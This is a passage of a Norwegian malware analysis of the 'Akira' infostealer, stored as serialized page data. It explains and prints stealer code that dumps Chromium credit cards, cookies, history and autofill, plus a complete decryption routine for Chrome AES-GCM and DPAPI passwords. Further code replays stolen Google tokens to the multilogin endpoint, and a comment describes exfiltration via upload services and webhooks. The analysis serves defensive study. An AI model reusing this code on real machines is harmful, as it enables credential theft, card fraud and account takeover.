fallback.",[634,6532,6533,6536,6537,614],{},[568,6534,6535],{},"Skriver"," resultatet til ",[579,6538,6539],{},"Passwords/\u003CBrowserName> Passwords.txt",[889,6541,6543,6544,1140],{"id":6542},"_743-kredittkortdumper-chromiumgetcreditcards","7.4.3 Kredittkortdumper (",[579,6545,6546],{},"Chromium.GetCreditCards",[526,6548,895],{},[526,6550,6551],{},"Her henter stealeren lagrede kredittkortdata fra Web Data-filen i hver nettleserprofil. Den konsentrerer seg om å hente ut utløpsdato og krypterte kortnumre, som deretter dekrypteres med samme logikk som passordene. Selv om CVV-koder som regel ikke lagres, kan informasjonen som gjenopprettes, likevel misbrukes til card-not-present-svindel.",[616,6553,6555],{"className":4516,"code":6554,"language":4518,"meta":530,"style":530},"results = cursor.execute(\n    \"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards\"\n).fetchall()\nfor month, year, enc_cc in results:\n    cc_number = self.Decrypt(enc_cc, encryptionKey)\n    ccs.append((cc_number, month, year))\n",[579,6556,6557,6562,6567,6572,6577,6582],{"__ignoreMap":530},[1710,6558,6559],{"class":1712,"line":1713},[1710,6560,6561],{},"results = cursor.execute(\n",[1710,6563,6564],{"class":1712,"line":531},[1710,6565,6566],{},"    \"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards\"\n",[1710,6568,6569],{"class":1712,"line":2094},[1710,6570,6571],{},").fetchall()\n",[1710,6573,6574],{"class":1712,"line":2100},[1710,6575,6576],{},"for month, year, enc_cc in results:\n",[1710,6578,6579],{"class":1712,"line":2420},[1710,6580,6581],{},"    cc_number = self.Decrypt(enc_cc, encryptionKey)\n",[1710,6583,6584],{"class":1712,"line":2426},[1710,6585,6586],{},"    ccs.append((cc_number, month, year))\n",[631,6588,6589,6597,6604,6612],{},[634,6590,6591,1565,6594,6596],{},[568,6592,6593],{},"Retter seg mot",[579,6595,589],{},"-SQLite-lagrene under hver profil.",[634,6598,6599,1000,6601,614],{},[568,6600,6510],{},[579,6602,6603],{},"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards",[634,6605,6606,1565,6608,6611],{},[568,6607,6518],{},[579,6609,6610],{},"card_number_encrypted"," på akkurat samme måte som passord-blobene.",[634,6613,6614,6617,6618,614],{},[568,6615,6616],{},"Skriver resultatet"," til ",[579,6619,6620],{},"CreditCards/\u003CBrowserName> CreditCards.txt",[889,6622,6624,6625,1140],{"id":6623},"_744-cookie-dumper-chromiumgetcookies","7.4.4 Cookie-dumper (",[579,6626,6627],{},"Chromium.GetCookies",[526,6629,895],{},[526,6631,6632],{},"Cookies, og særlig sesjonscookies, er førstevalget for å kapre kontoer uten passord. Denne modulen dumper alle cookie-filer på tvers av profilene, dekrypterer dem og samler inn viktige metadata som domene, navn og utløpstid. Kombinert med fingerprinting kan disse cookiene brukes til replay-angrep mot autentiserte tjenester uten videre hindringer.",[616,6634,6636],{"className":4516,"code":6635,"language":4518,"meta":530,"style":530},"results = cursor.execute(\n    \"SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies\"\n).fetchall()\nfor host, name, path, blob, expiry in results:\n    cookie_val = self.Decrypt(blob, encryptionKey)\n    cookies.append((host, name, path, cookie_val, expiry))\n",[579,6637,6638,6642,6647,6651,6656,6661],{"__ignoreMap":530},[1710,6639,6640],{"class":1712,"line":1713},[1710,6641,6561],{},[1710,6643,6644],{"class":1712,"line":531},[1710,6645,6646],{},"    \"SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies\"\n",[1710,6648,6649],{"class":1712,"line":2094},[1710,6650,6571],{},[1710,6652,6653],{"class":1712,"line":2100},[1710,6654,6655],{},"for host, name, path, blob, expiry in results:\n",[1710,6657,6658],{"class":1712,"line":2420},[1710,6659,6660],{},"    cookie_val = self.Decrypt(blob, encryptionKey)\n",[1710,6662,6663],{"class":1712,"line":2426},[1710,6664,6665],{},"    cookies.append((host, name, path, cookie_val, expiry))\n",[631,6667,6668,6676,6684,6692],{},[634,6669,6670,6492,6673,6675],{},[568,6671,6672],{},"Skanner",[579,6674,6350],{},"-SQLite-database.",[634,6677,6678,1565,6681,614],{},[568,6679,6680],{},"Velger",[579,6682,6683],{},"host_key, name, path, encrypted_value, expires_utc",[634,6685,6686,6492,6688,6691],{},[568,6687,6518],{},[579,6689,6690],{},"encrypted_value","-blob for å avdekke den faktiske cookie-strengen.",[634,6693,6694,2059,6697,614],{},[568,6695,6696],{},"Lagrer",[579,6698,6699],{},"Cookies/\u003CBrowserName> Cookies.txt",[889,6701,6703,6704,1140],{"id":6702},"_745-google-sesjonsdumper-chromiumdump_google_sessions","7.4.5 Google-sesjonsdumper (",[579,6705,6706],{},"Chromium.dump_google_sessions",[526,6708,895],{},[526,6710,6711],{},"Denne rutinen, en av de mer avanserte komponentene, dekrypterer lagrede OAuth-tokens fra tabellen token_service. Ved å spille dem av på nytt mot Googles multilogin-endepunkt kan malwaren gjenskape aktive sesjonscookies, slik at angripere kan kapre Google-kontoer uten credentials. Det illustrerer hvordan access tokens har blitt et førstevalgsmål i moderne stealere.",[616,6713,6715],{"className":4516,"code":6714,"language":4518,"meta":530,"style":530},"cursor.execute(\"SELECT service, encrypted_token FROM token_service\")\nfor service, blob in cursor.fetchall():\n    iv = blob[3:15]\n    ciphertext = blob[15:-16]\n    cipher = AES.new(secret_key, AES.MODE_GCM, iv)\n    token = cipher.decrypt(ciphertext).decode()\n    # Replays via POST to OAuth endpoint\n    response = requests.post(\n        \"https://accounts.google.com/oauth/multilogin\",\n        headers={\"Authorization\": f\"MultiBearer {token}:{service_id}\"},\n        data={\"source\": \"com.google.Drive\"}\n    )\n    save each account’s cookies to file\n",[579,6716,6717,6722,6727,6732,6737,6742,6747,6752,6757,6762,6767,6772,6776],{"__ignoreMap":530},[1710,6718,6719],{"class":1712,"line":1713},[1710,6720,6721],{},"cursor.execute(\"SELECT service, encrypted_token FROM token_service\")\n",[1710,6723,6724],{"class":1712,"line":531},[1710,6725,6726],{},"for service, blob in cursor.fetchall():\n",[1710,6728,6729],{"class":1712,"line":2094},[1710,6730,6731],{},"    iv = blob[3:15]\n",[1710,6733,6734],{"class":1712,"line":2100},[1710,6735,6736],{},"    ciphertext = blob[15:-16]\n",[1710,6738,6739],{"class":1712,"line":2420},[1710,6740,6741],{},"    cipher = AES.new(secret_key, AES.MODE_GCM, iv)\n",[1710,6743,6744],{"class":1712,"line":2426},[1710,6745,6746],{},"    token = cipher.decrypt(ciphertext).decode()\n",[1710,6748,6749],{"class":1712,"line":3084},[1710,6750,6751],{},"    # Replays via POST to OAuth endpoint\n",[1710,6753,6754],{"class":1712,"line":3880},[1710,6755,6756],{},"    response = requests.post(\n",[1710,6758,6759],{"class":1712,"line":3886},[1710,6760,6761],{},"        \"https://accounts.google.com/oauth/multilogin\",\n",[1710,6763,6764],{"class":1712,"line":4131},[1710,6765,6766],{},"        headers={\"Authorization\": f\"MultiBearer {token}:{service_id}\"},\n",[1710,6768,6769],{"class":1712,"line":5055},[1710,6770,6771],{},"        data={\"source\": \"com.google.Drive\"}\n",[1710,6773,6774],{"class":1712,"line":5061},[1710,6775,5986],{},[1710,6777,6778],{"class":1712,"line":5067},[1710,6779,6780],{},"    save each account’s cookies to file\n",[631,6782,6783,6798,6808,6818],{},[634,6784,6785,1565,6788,6791,6792,6795,6796,614],{},[568,6786,6787],{},"Henter",[579,6789,6790],{},"service"," og den rå ",[579,6793,6794],{},"encrypted_token"," fra klonen av ",[579,6797,589],{},[634,6799,6800,6803,6804,6807],{},[568,6801,6802],{},"AES-GCM-dekryptering"," med nettleserens ",[579,6805,6806],{},"Local State","-nøkkel.",[634,6809,6810,6813,6814,6817],{},[568,6811,6812],{},"Spiller av"," de dekrypterte tokenene i en POST mot Googles ",[579,6815,6816],{},"multilogin","-API for å rekonstruere gyldige OAuth-cookies.",[634,6819,6820,6822,6823,614],{},[568,6821,6535],{}," sesjonsfiler per konto under ",[579,6824,6825],{},"Cookies/\u003Cdisplay_email> Google Session.txt",[889,6827,6829,6830,1140],{"id":6828},"_746-historikkdumper-chromiumgethistory","7.4.6 Historikkdumper (",[579,6831,6832],{},"Chromium.GetHistory",[526,6834,895],{},[526,6836,6837],{},"Denne funksjonen henter ut oppføringer fra nettleserhistorikken, inkludert URL, tittel og besøksfrekvens. Utover selve personverninngrepet hjelper dataene angripere med å forstå offerets atferd, finne høyverdige mål som bankportaler eller skreddersy payloads for social engineering.",[616,6839,6841],{"className":4516,"code":6840,"language":4518,"meta":530,"style":530},"results = cursor.execute(\n    \"SELECT url, title, visit_count, last_visit_time FROM urls\"\n).fetchall()\nhistory.sort(key=lambda x: x[3], reverse=True)\nreturn [(url, title, count) for url, title, count, _ in history]\n",[579,6842,6843,6847,6852,6856,6861],{"__ignoreMap":530},[1710,6844,6845],{"class":1712,"line":1713},[1710,6846,6561],{},[1710,6848,6849],{"class":1712,"line":531},[1710,6850,6851],{},"    \"SELECT url, title, visit_count, last_visit_time FROM urls\"\n",[1710,6853,6854],{"class":1712,"line":2094},[1710,6855,6571],{},[1710,6857,6858],{"class":1712,"line":2100},[1710,6859,6860],{},"history.sort(key=lambda x: x[3], reverse=True)\n",[1710,6862,6863],{"class":1712,"line":2420},[1710,6864,6865],{},"return [(url, title, count) for url, title, count, _ in history]\n",[631,6867,6868,6879,6889],{},[634,6869,6870,1565,6872,6875,6876,6878],{},[568,6871,6680],{},[579,6873,6874],{},"url, title, visit_count, last_visit_time"," fra hver ",[579,6877,6402],{},"-database.",[634,6880,6881,6884,6885,6888],{},[568,6882,6883],{},"Sorterer"," oppføringene etter ",[579,6886,6887],{},"last_visit_time"," synkende.",[634,6890,6891,1565,6894,614],{},[568,6892,6893],{},"Skriver ut",[579,6895,6896],{},"History/\u003CBrowserName> History.txt",[889,6898,6900,6901,1140],{"id":6899},"_747-autofyll-dumper-chromiumgetautofills","7.4.7 Autofyll-dumper (",[579,6902,6903],{},"Chromium.GetAutofills",[526,6905,895],{},[526,6907,6908],{},"Autofyll-oppføringer som adresser, navn, e-postadresser og noen ganger betalingsrelaterte data hentes ut fra nettleserens Web Data-lager. Verdiene kan virke uviktige hver for seg, men samlet gir de en rik profil av offerets identitet og atferd.",[616,6910,6912],{"className":4516,"code":6911,"language":4518,"meta":530,"style":530},"results = cursor.execute(\n    \"SELECT name, value FROM autofill\"\n).fetchall()\nfor field, value in results:\n    autofills.append((field.strip(), value.strip()))\n",[579,6913,6914,6918,6923,6927,6932],{"__ignoreMap":530},[1710,6915,6916],{"class":1712,"line":1713},[1710,6917,6561],{},[1710,6919,6920],{"class":1712,"line":531},[1710,6921,6922],{},"    \"SELECT name, value FROM autofill\"\n",[1710,6924,6925],{"class":1712,"line":2094},[1710,6926,6571],{},[1710,6928,6929],{"class":1712,"line":2100},[1710,6930,6931],{},"for field, value in results:\n",[1710,6933,6934],{"class":1712,"line":2420},[1710,6935,6936],{},"    autofills.append((field.strip(), value.strip()))\n",[631,6938,6939,6951],{},[634,6940,6941,6943,6944,6947,6948,614],{},[568,6942,6787],{}," skjemaoppføringer: ",[579,6945,6946],{},"name, value"," fra filen ",[579,6949,6950],{},"web data",[634,6952,6953,6955,6956,614],{},[568,6954,6535],{}," dem ut som ",[579,6957,6958],{},"Autofill/\u003CBrowserName> Autofill.txt",[889,6960,6962,6963,6965,6966,1140],{"id":6961},"_748-innsamler-for-firefox-profiler-geckodriver-grabfirefoxprofiles","7.4.8 Innsamler for Firefox-profiler (",[579,6964,6276],{}," & ",[579,6967,6968],{},"grabFirefoxProfiles",[526,6970,895],{},[526,6972,6973],{},"Til forskjell fra de finmaskede Chromium-rutinene velger denne funksjonen en bred tilnærming: den komprimerer hele Firefox-profilkatalogen, inkludert lagrede pålogginger, cookies og bokmerker, og eksfiltrerer den i sin helhet. Det sikrer at angripere kan analysere eller hente ut data offline og omgå dekrypteringshindre med kjent NSS-verktøy.",[616,6975,6977],{"className":4516,"code":6976,"language":4518,"meta":530,"style":530},"with zipfile.ZipFile(zip_path, 'w') as zipf:\n    for root, dirs, files in os.walk(source_path):\n        zipf.write(each file)\n# Upload via GoFile/File.io, then POST via attacker webhooks\n",[579,6978,6979,6984,6989,6994],{"__ignoreMap":530},[1710,6980,6981],{"class":1712,"line":1713},[1710,6982,6983],{},"with zipfile.ZipFile(zip_path, 'w') as zipf:\n",[1710,6985,6986],{"class":1712,"line":531},[1710,6987,6988],{},"    for root, dirs, files in os.walk(source_path):\n",[1710,6990,6991],{"class":1712,"line":2094},[1710,6992,6993],{},"        zipf.write(each file)\n",[1710,6995,6996],{"class":1712,"line":2100},[1710,6997,6998],{},"# Upload via GoFile/File.io, then POST via attacker webhooks\n",[631,7000,7001,7010,7020],{},[634,7002,7003,7006,7007,614],{},[568,7004,7005],{},"Zipper"," hele katalogen ",[579,7008,7009],{},"%APPDATA%\\Mozilla\\Firefox\\Profiles",[634,7011,7012,7015,7016,7019],{},[568,7013,7014],{},"Navngir"," den ",[579,7017,7018],{},"%TEMP%\\\u003CComputerName>_Firefox_profiles.zip"," og sender nedlastingslenken via de samme webhook-kanalene.",[634,7021,7022,7025,7026,647,7029,647,7032,7035],{},[568,7023,7024],{},"Kaller"," også de samme SQLite-baserte uthentingsfunksjonene (",[579,7027,7028],{},"logins.json",[579,7030,7031],{},"cookies.sqlite",[579,7033,7034],{},"places.sqlite",") mot hver Firefox-profil, med NSS-dekrypteringsrutinene som allerede finnes.",[889,7037,7039],{"id":7038},"_749-oppsummering-av-uthentingen","7.4.9 Oppsummering av uthentingen",[526,7041,895],{},[526,7043,7044,7045,647,7047,647,7049,647,7051,586,7053,7056,7057,7060,7061,7063,7064,647,7066,586,7068,7070,7071,7074],{},"Astor.py orkestrerer en gjennomgripende kompromittering av nettleseren ved systematisk å høste hver credential og hver sesjonsartefakt på tvers av Chromium-baserte klienter og Firefox-klienter. Den finner og kopierer trygt hvert SQLite-lager, altså ",[579,7046,585],{},[579,7048,589],{},[579,7050,6350],{},[579,7052,6402],{},[579,7054,7055],{},"autofill",", og kjører deretter målrettede SQL-spørringer for å hente ut URL-er, brukernavn, passord, kredittkortdetaljer, cookies, nettleserhistorikk og skjemaoppføringer. Passord og betalingsdata dekrypteres via AES-GCM (eller Windows DPAPI som fallback), og cookies pakkes ut på samme måte for å avdekke klartekstverdiene. For Google-kontoer dekrypteres krypterte OAuth-tokens fra ",[579,7058,7059],{},"token_service"," og spilles av på nytt mot ",[579,7062,6816],{},"-API-et for å gjenskape levende sesjonscookies. Til slutt arkiveres Firefox-profiler i sin helhet (inkludert ",[579,7065,7028],{},[579,7067,7031],{},[579,7069,7034],{},") og leveres som ZIP-filer, slik at ingen artefakt blir liggende igjen. Hele denne pipelinen kjører stille under ",[579,7072,7073],{},"%TEMP%\\\u003CComputerName>"," og produserer ryddig organiserte utdatafiler for hver datakategori.",[741,7076,7078],{"id":7077},"_75-dekrypteringslogikk","7.5 Dekrypteringslogikk",[526,7080,747],{},[526,7082,7083],{},"Moderne nettlesere som Chrome og Edge krypterer sensitive data, for eksempel passord, cookies og kredittkortdetaljer, før de lagres lokalt. Akira har innebygde dekrypteringsrutiner som er tilpasset både eldre og nåværende krypteringsmetoder i Chromium. Dermed kan den hente ut klartekstdata uansett patchenivå på systemet eller nettleserversjon.",[526,7085,7086],{},"Kjernen i prosessen er å hente ut og dekryptere nettleserens hovedkrypteringsnøkkel, som ligger lagret i en fil som heter Local State. Avhengig av nettleserversjon og Windows-build velger Akira dynamisk den passende dekrypteringsmetoden:",[526,7088,7089],{},"DPAPI (Data Protection API) brukes på eldre systemer, der Chrome lagrer hemmeligheter beskyttet av Windows-credentials til den innloggede brukeren.",[526,7091,7092],{},"AES-GCM brukes i moderne Chromium-builds, der en tilfeldig generert hovednøkkel selv krypteres med DPAPI og deretter brukes til kryptering av brukerdata inne i appen.",[526,7094,7095],{},"Ved først å dekryptere hovednøkkelen i Local State får Akira mulighet til å låse opp alle hemmelighetene i nettleseren, og det baner vei for uthenting av credentials, tokens, cookies og mer.",[526,7097,7098],{},[568,7099,7100],{},"Nøkkeluthenting",[616,7102,7104],{"className":4516,"code":7103,"language":4518,"meta":530,"style":530},"local_state_path = os.path.join(user_path, \"Local State\")\nwith open(local_state_path, \"r\", encoding=\"utf-8\") as f:\n    local_state = json.load(f)\nmaster_key = base64.b64decode(local_state[\"os_crypt\"][\"encrypted_key\"])\n",[579,7105,7106,7111,7116,7121],{"__ignoreMap":530},[1710,7107,7108],{"class":1712,"line":1713},[1710,7109,7110],{},"local_state_path = os.path.join(user_path, \"Local State\")\n",[1710,7112,7113],{"class":1712,"line":531},[1710,7114,7115],{},"with open(local_state_path, \"r\", encoding=\"utf-8\") as f:\n",[1710,7117,7118],{"class":1712,"line":2094},[1710,7119,7120],{},"    local_state = json.load(f)\n",[1710,7122,7123],{"class":1712,"line":2100},[1710,7124,7125],{},"master_key = base64.b64decode(local_state[\"os_crypt\"][\"encrypted_key\"])\n",[526,7127,7128],{},[568,7129,7130],{},"Dekryptering (AES-GCM):",[616,7132,7134],{"className":4516,"code":7133,"language":4518,"meta":530,"style":530},"nonce = value[3:15]\nciphertext = value[15:-16]\ntag = value[-16:]\ncipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)\ndecrypted = cipher.decrypt_and_verify(ciphertext, tag)\n",[579,7135,7136,7141,7146,7151,7156],{"__ignoreMap":530},[1710,7137,7138],{"class":1712,"line":1713},[1710,7139,7140],{},"nonce = value[3:15]\n",[1710,7142,7143],{"class":1712,"line":531},[1710,7144,7145],{},"ciphertext = value[15:-16]\n",[1710,7147,7148],{"class":1712,"line":2094},[1710,7149,7150],{},"tag = value[-16:]\n",[1710,7152,7153],{"class":1712,"line":2100},[1710,7154,7155],{},"cipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)\n",[1710,7157,7158],{"class":1712,"line":2420},[1710,7159,7160],{},"decrypted = cipher.decrypt_and_verify(ciphertext, tag)\n",[526,7162,7163,7164,614],{},"Er fallback til DPAPI nødvendig (på eldre systemer), brukes ",[579,7165,7166],{},"win32crypt.CryptUnprotectData()",[526,7168,7169,7175],{},[568,7170,7171,7172,1200],{},"Forklaring av ",[579,7173,7174],{},"decrypt_password_blob","\nDenne funksjonen viser hvordan Akira Stealer dekrypterer hver lagret passordverdi fra Chromium-baserte nettlesere. Den håndterer to tilfeller:",[2108,7177,7178,7188],{},[634,7179,7180,7183,7184,7187],{},[568,7181,7182],{},"Windows DPAPI-blober"," (eldre eller ikke-GCM-krypterte data): Faller tilbake på systemkallet ",[579,7185,7186],{},"CryptUnprotectData",", som bruker Windows-credentials til brukeren for å dekryptere.",[634,7189,7190,7193,7194,7197],{},[568,7191,7192],{},"AES-GCM-krypterte blober"," (Chrome v10/v11-format): Tolker versjonsheaderen, henter ut IV og autentiseringstaggen, og bruker biblioteket ",[579,7195,7196],{},"cryptography"," til å dekryptere payloaden trygt.",[616,7199,7201],{"className":4516,"code":7200,"language":4518,"meta":530,"style":530},"from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\nfrom cryptography.hazmat.backends import default_backend\n\n\ndef decrypt_password_blob(buffer: bytes, key: bytes) -> str:\n    \"\"\"\n    Decrypts a Chrome password blob using either DPAPI or AES-GCM.\n\n    Parameters:\n    - buffer: raw encrypted blob from the `password_value` field\n    - key: the master AES key retrieved via DPAPI from Local State\n\n    Returns:\n    - Decrypted UTF-8 plaintext password\n    \"\"\"\n    # 1) DPAPI fallback for non-AES-GCM blobs\n    if not buffer.startswith((b'v10', b'v11')):\n        # Uses Windows CryptUnprotectData under the hood\n        return CryptUnprotectData(buffer)\n\n    # 2) AES-GCM decryption for Chrome v10/v11 format:\n    # Bytes layout:\n    # [0:3]    = version header ('v10'/'v11')\n    # [3:15]   = initialization vector (IV)\n    # [15:-16] = ciphertext payload\n    # [-16:]   = GCM authentication tag\n    iv = buffer[3:15]\n    ciphertext = buffer[15:-16]\n    tag = buffer[-16:]\n\n    # Initialize AES-GCM cipher with extracted IV and tag\n    cipher = Cipher(\n        algorithms.AES(key),\n        modes.GCM(iv, tag),\n        backend=default_backend()\n    )\n    decryptor = cipher.decryptor()\n\n    # Perform decryption; raises if authentication fails\n    plaintext = decryptor.update(ciphertext) + decryptor.finalize()\n\n    # Decode to UTF-8, ignoring any stray errors\n    return plaintext.decode('utf-8', errors='ignore')\n",[579,7202,7203,7208,7213,7217,7221,7226,7230,7235,7239,7244,7249,7254,7258,7263,7268,7272,7277,7282,7287,7292,7296,7301,7306,7311,7316,7321,7326,7331,7336,7341,7345,7350,7355,7360,7365,7370,7374,7379,7383,7388,7393,7397,7402],{"__ignoreMap":530},[1710,7204,7205],{"class":1712,"line":1713},[1710,7206,7207],{},"from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\n",[1710,7209,7210],{"class":1712,"line":531},[1710,7211,7212],{},"from cryptography.hazmat.backends import default_backend\n",[1710,7214,7215],{"class":1712,"line":2094},[1710,7216,3877],{"emptyLinePlaceholder":325},[1710,7218,7219],{"class":1712,"line":2100},[1710,7220,3877],{"emptyLinePlaceholder":325},[1710,7222,7223],{"class":1712,"line":2420},[1710,7224,7225],{},"def decrypt_password_blob(buffer: bytes, key: bytes) -> str:\n",[1710,7227,7228],{"class":1712,"line":2426},[1710,7229,5860],{},[1710,7231,7232],{"class":1712,"line":3084},[1710,7233,7234],{},"    Decrypts a Chrome password blob using either DPAPI or AES-GCM.\n",[1710,7236,7237],{"class":1712,"line":3880},[1710,7238,3877],{"emptyLinePlaceholder":325},[1710,7240,7241],{"class":1712,"line":3886},[1710,7242,7243],{},"    Parameters:\n",[1710,7245,7246],{"class":1712,"line":4131},[1710,7247,7248],{},"    - buffer: raw encrypted blob from the `password_value` field\n",[1710,7250,7251],{"class":1712,"line":5055},[1710,7252,7253],{},"    - key: the master AES key retrieved via DPAPI from Local State\n",[1710,7255,7256],{"class":1712,"line":5061},[1710,7257,3877],{"emptyLinePlaceholder":325},[1710,7259,7260],{"class":1712,"line":5067},[1710,7261,7262],{},"    Returns:\n",[1710,7264,7265],{"class":1712,"line":5073},[1710,7266,7267],{},"    - Decrypted UTF-8 plaintext password\n",[1710,7269,7270],{"class":1712,"line":5079},[1710,7271,5860],{},[1710,7273,7274],{"class":1712,"line":5085},[1710,7275,7276],{},"    # 1) DPAPI fallback for non-AES-GCM blobs\n",[1710,7278,7279],{"class":1712,"line":5091},[1710,7280,7281],{},"    if not buffer.startswith((b'v10', b'v11')):\n",[1710,7283,7284],{"class":1712,"line":5097},[1710,7285,7286],{},"        # Uses Windows CryptUnprotectData under the hood\n",[1710,7288,7289],{"class":1712,"line":5103},[1710,7290,7291],{},"        return CryptUnprotectData(buffer)\n",[1710,7293,7294],{"class":1712,"line":5109},[1710,7295,3877],{"emptyLinePlaceholder":325},[1710,7297,7298],{"class":1712,"line":5115},[1710,7299,7300],{},"    # 2) AES-GCM decryption for Chrome v10/v11 format:\n",[1710,7302,7303],{"class":1712,"line":5121},[1710,7304,7305],{},"    # Bytes layout:\n",[1710,7307,7308],{"class":1712,"line":5127},[1710,7309,7310],{},"    # [0:3]    = version header ('v10'/'v11')\n",[1710,7312,7313],{"class":1712,"line":5133},[1710,7314,7315],{},"    # [3:15]   = initialization vector (IV)\n",[1710,7317,7318],{"class":1712,"line":5139},[1710,7319,7320],{},"    # [15:-16] = ciphertext payload\n",[1710,7322,7323],{"class":1712,"line":5806},[1710,7324,7325],{},"    # [-16:]   = GCM authentication tag\n",[1710,7327,7328],{"class":1712,"line":5811},[1710,7329,7330],{},"    iv = buffer[3:15]\n",[1710,7332,7333],{"class":1712,"line":5816},[1710,7334,7335],{},"    ciphertext = buffer[15:-16]\n",[1710,7337,7338],{"class":1712,"line":5821},[1710,7339,7340],{},"    tag = buffer[-16:]\n",[1710,7342,7343],{"class":1712,"line":5827},[1710,7344,3877],{"emptyLinePlaceholder":325},[1710,7346,7347],{"class":1712,"line":5832},[1710,7348,7349],{},"    # Initialize AES-GCM cipher with extracted IV and tag\n",[1710,7351,7352],{"class":1712,"line":5837},[1710,7353,7354],{},"    cipher = Cipher(\n",[1710,7356,7357],{"class":1712,"line":5842},[1710,7358,7359],{},"        algorithms.AES(key),\n",[1710,7361,7362],{"class":1712,"line":5847},[1710,7363,7364],{},"        modes.GCM(iv, tag),\n",[1710,7366,7367],{"class":1712,"line":5852},[1710,7368,7369],{},"        backend=default_backend()\n",[1710,7371,7372],{"class":1712,"line":5857},[1710,7373,5986],{},[1710,7375,7376],{"class":1712,"line":5863},[1710,7377,7378],{},"    decryptor = cipher.decryptor()\n",[1710,7380,7381],{"class":1712,"line":5869},[1710,7382,3877],{"emptyLinePlaceholder":325},[1710,7384,7385],{"class":1712,"line":5875},[1710,7386,7387],{},"    # Perform decryption; raises if authentication fails\n",[1710,7389,7390],{"class":1712,"line":5880},[1710,7391,7392],{},"    plaintext = decryptor.update(ciphertext) + decryptor.finalize()\n",[1710,7394,7395],{"class":1712,"line":5885},[1710,7396,3877],{"emptyLinePlaceholder":325},[1710,7398,7399],{"class":1712,"line":5890},[1710,7400,7401],{},"    # Decode to UTF-8, ignoring any stray errors\n",[1710,7403,7404],{"class":1712,"line":5895},[1710,7405,7406],{},"    return plaintext.decode('utf-8', errors='ignore')\n",[741,7408,7410],{"id":7409},"_76-kapring-av-sesjonstokens","7.6 Kapring av sesjonstokens",[526,7412,747],{},[526,7414,7415,7416,7419],{},"Akira stopper ikke ved passiv datainnsamling. Den kaprer aktivt levende sesjonstokens for å utgi seg for å være offeret i sanntid. Etter å ha hentet ut krypterte tokens fra nettleserens lagring bygger den den nødvendige autorisasjonsheaderen og spiller av en ",[568,7417,7418],{},"MultiLogin","-forespørsel mot Googles OAuth-endepunkt. Kodeutdraget under viser prosessen:",[616,7421,7423],{"className":4516,"code":7422,"language":4518,"meta":530,"style":530},"# Build SAPISIDHASH header for Google services\norigin = \"https://accounts.google.com\"\ntimestamp = int(time.time())\n# Compute SHA1 of \"timestamp origin SAPISID\"\npayload = f\"{timestamp} {origin} {sap_id_cookie}\".encode()\nsignature = hashlib.sha1(payload).hexdigest()\nheaders = {\n    \"Authorization\": f\"SAPISIDHASH {timestamp}_{signature}\",\n    \"Content-Type\": \"application/json\"\n}\n# Replay MultiLogin to fetch valid session cookies\nresponse = requests.post(\n    \"https://accounts.google.com/accounts/multilogin\",\n    headers=headers,\n    json={\"continue\": \"https://mail.google.com\"}\n)\nif response.status_code == 200:\n    # Victim’s cookies now present in response.cookies\n    hijacked_cookies = response.cookies\n",[579,7424,7425,7430,7435,7440,7445,7450,7455,7460,7465,7470,7474,7479,7484,7489,7494,7499,7503,7508,7513],{"__ignoreMap":530},[1710,7426,7427],{"class":1712,"line":1713},[1710,7428,7429],{},"# Build SAPISIDHASH header for Google services\n",[1710,7431,7432],{"class":1712,"line":531},[1710,7433,7434],{},"origin = \"https://accounts.google.com\"\n",[1710,7436,7437],{"class":1712,"line":2094},[1710,7438,7439],{},"timestamp = int(time.time())\n",[1710,7441,7442],{"class":1712,"line":2100},[1710,7443,7444],{},"# Compute SHA1 of \"timestamp origin SAPISID\"\n",[1710,7446,7447],{"class":1712,"line":2420},[1710,7448,7449],{},"payload = f\"{timestamp} {origin} {sap_id_cookie}\".encode()\n",[1710,7451,7452],{"class":1712,"line":2426},[1710,7453,7454],{},"signature = hashlib.sha1(payload).hexdigest()\n",[1710,7456,7457],{"class":1712,"line":3084},[1710,7458,7459],{},"headers = {\n",[1710,7461,7462],{"class":1712,"line":3880},[1710,7463,7464],{},"    \"Authorization\": f\"SAPISIDHASH {timestamp}_{signature}\",\n",[1710,7466,7467],{"class":1712,"line":3886},[1710,7468,7469],{},"    \"Content-Type\": \"application/json\"\n",[1710,7471,7472],{"class":1712,"line":4131},[1710,7473,2429],{},[1710,7475,7476],{"class":1712,"line":5055},[1710,7477,7478],{},"# Replay MultiLogin to fetch valid session cookies\n",[1710,7480,7481],{"class":1712,"line":5061},[1710,7482,7483],{},"response = requests.post(\n",[1710,7485,7486],{"class":1712,"line":5067},[1710,7487,7488],{},"    \"https://accounts.google.com/accounts/multilogin\",\n",[1710,7490,7491],{"class":1712,"line":5073},[1710,7492,7493],{},"    headers=headers,\n",[1710,7495,7496],{"class":1712,"line":5079},[1710,7497,7498],{},"    json={\"continue\": \"https://mail.google.com\"}\n",[1710,7500,7501],{"class":1712,"line":5085},[1710,7502,5274],{},[1710,7504,7505],{"class":1712,"line":5091},[1710,7506,7507],{},"if response.status_code == 200:\n",[1710,7509,7510],{"class":1712,"line":5097},[1710,7511,7512],{},"    # Victim’s cookies now present in response.cookies\n",[1710,7514,7515],{"class":1712,"line":5103},[1710,7516,7517],{},"    hijacked_cookies = response.cookies\n",[526,7519,7520],{},"Ved å spille av denne forespørselen kan Akira utgi seg for å være brukerens Gmail, Drive eller en hvilken som helst annen Google-tjeneste som beskyttes av en gyldig sesjon, helt uten credentials. Teknikken utnytter Googles egen logikk for å godta tokens, og det gjør den nesten umulig å skille fra legitim klientatferd.",[741,7522,7524],{"id":7523},"_77-firefox-dekryptering","7.7 Firefox-dekryptering",[526,7526,747],{},[526,7528,7529,7530,7533],{},"Gecko-baserte nettlesere som Firefox krypterer lagrede credentials og cookies med en hovednøkkel som ligger i ",[579,7531,7532],{},"key4.db",". Akira har en nedstrippet dekrypteringsrutine som speiler NSS-logikken til Mozilla, og som håndterer både 3DES- og AES-CBC-varianter uten å utløse forespørselen om hovedpassord. Eksempel på bruk:",[616,7535,7537],{"className":4516,"code":7536,"language":4518,"meta":530,"style":530},"# Load global Salt and encrypted item from key4.db\ndb = sqlite3.connect(profile_path + \"/key4.db\")\ncursor = db.cursor()\ncursor.execute(\"SELECT item1, item2 FROM metadata WHERE id = 'password'\")\nglobal_salt, item2 = 